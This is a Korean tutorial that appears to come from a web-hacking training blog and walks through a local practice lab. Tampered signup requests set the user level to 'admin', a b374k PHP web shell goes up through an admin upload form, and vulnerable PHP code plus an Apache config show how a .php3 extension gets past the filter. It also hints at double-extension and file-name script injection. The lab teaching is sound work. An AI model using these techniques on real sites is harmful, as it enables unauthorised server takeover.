홈페이지 취약점 분석 이야기 | 파일 지도 사진 깨알 |
---|
>> 목록보이기 WH-Account-01 웹해킹훈련장 실습 설명서
라이브 ISO를 이용한 서버 구동은
WH-ACCOUNT-01 웹해킹훈련장 소개문서를 참조하면 된다.
이 문서에 수록된
OWASP-ZAP을 실행하여 FireFox의 프록시로 등록한다.
Firefox의
이 실습문제는 로그인 기능과 회원가입 기능이 있다.
아마도 로그인한 사용자에게만 파일에 대한 접근권한을 부여하는 것으로 보인다.
소개문서에서 - 관리자 계정으로 추정되는 - 회원가입 및 로그인 후의 기능 파악
로그인(
위의 그림과 같이
로그인 후에는 " 회원가입 기능 분석사용자의 입력을 받는 회원가입 기능을 다시 살펴보자. 회원가입을 위한 HTTP 요청을 OWASP-ZAP의 History 탭에서 확인해보면 다음과 같다.
회원가입 기능에서 입력한 이름, 아이디, 비밀번호, 비밀번호 확인, 전자우편 등의 내용이
POST http://192.168.206.136/join_ok.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.206.136/join.php Cookie: PHPSESSID=fo89764m25gnd4nv3pka0iueh6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 89 Host: 192.168.206.136 userNm=Guest&userId=guest&userPw1=1234&userPw2=1234&userEm=guest%40test.com&userLv=normal
요청 POST 값을 잘 살펴보면
여기서는 "
대개의 경우, 개발자는 변수값의 표기형태를 일원화한다. 사용자 권한의 예를 들어
{ "normal", "subadministrator", "administrator" }, { "USER", "MANAGER" }, { "1", "2", "9" }
{ "AUTH_USER", "AUTH_SUBADMIN", "AUTH_ADMIN"} 등과 같은 방식이다.
이 경우에는 일반 사용자를 "normal"로 표현했으므로 관리자는
"adminstrator", "admin", "adm", "manager", "mng" 등으로 지정할 것이라고 추정하고
POST http://192.168.206.136/join_ok.php HTTP/1.1 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://192.168.206.136/join.php Cookie: PHPSESSID=fo89764m25gnd4nv3pka0iueh6 Connection: keep-alive Content-Type: application/x-www-form-urlencoded Content-Length: 90 Host: 192.168.206.136 userNm=Guest1&userId=guest1&userPw1=1234&userPw2=1234&userEm=guest%40test.com&userLv=admin
위의 데이타는 여러 번의 시험끝에 관리자로 등록에 성공한 회원가입 HTTP 요청이다.
위의 그림은 관리자 기능을 이용한 웹서버 침투
관리자의 파일 업로드 기능을 이용하여 PHP 웹쉘 올리기를 시도하였다.
여기서는 유명한 PHP웹쉘인 b374k 웹쉘을 사용하였다.
단순 PHP 웹쉘 시도(
위의 그림은
파일을 업로드한 후에
접속 후에
WH-Account-01 훈련장에서 사용하는 관리자용 파일업로드 기능의 PHP 소스를 살펴보면 아래와 같다. $filename = $_FILES['adminfile']['name']; $ext = strtolower(array_pop( explode('.', $filename) )); if ($ext == 'php') { header('Location: ./'); exit(0); } $uploaddir = 'files/'; $uploadfile = $uploaddir.$filename; if (move_uploaded_file($_FILES['adminfile']['tmp_name'], $uploadfile)) { // upload was successful. } header('Location: ./');
가장 마지막 마침표의 다음에 나오는 문자열을 소문자로 바꿔서 확장자 변수(
그런데 이 서버의 Apache 설정( AddType application/x-httpd-php .php .php3
마무리실제로는 확장자를 우회할 수 있는 방법이 하나 더 있다. 사용자가 업로드하는 파일의 이름을 그대로 저장하기 때문에 발생하는 문제이다. 귀띔(hint)은 PHP의 국제화(internationalization) 기능을 이용한 이중확장자에 있다. 자세한 내용은 WH-Accoutn-02 훈련장에서 다룬다. 이미 웹쉘이 올라갔기 때문에 중요성이 떨어지기는 하지만, 자바스크립트 삽입을 통해 서비스거부공격의 위험이 존재한다. 파일 이름을 조작하여 시도해보기 바란다. 2020.02.13 덧붙임
CSS 파일을 위해 사용했던 [처음 작성한 날: 2017.01.03] [마지막으로 고친 날: 2020.02.13] < 이전 글 : WH-Account-01 회원가입 취약점 훈련장(라이브 ISO) 소개 (2017.01.02) > 다음 글 : WH-Account-02 회원정보수정 취약점 훈련장(라이브 ISO) 소개 (2017.01.03) 이 저작물은 크리에이티브 커먼즈 저작자표시 4.0 국제 라이선스에 따라 이용할 수 있습니다. 잘못된 내용, 오탈자 및 기타 문의사항은 j1n5uk{at}daum.net으로 연락주시기 바랍니다. 문서의 시작으로 컴퓨터 깨알지식 웹핵 누리집 대문 |